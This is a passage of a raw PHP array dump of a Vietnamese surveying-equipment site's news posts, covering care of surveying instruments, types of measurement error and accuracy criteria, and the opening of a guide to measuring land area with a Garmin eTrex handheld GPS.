'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> 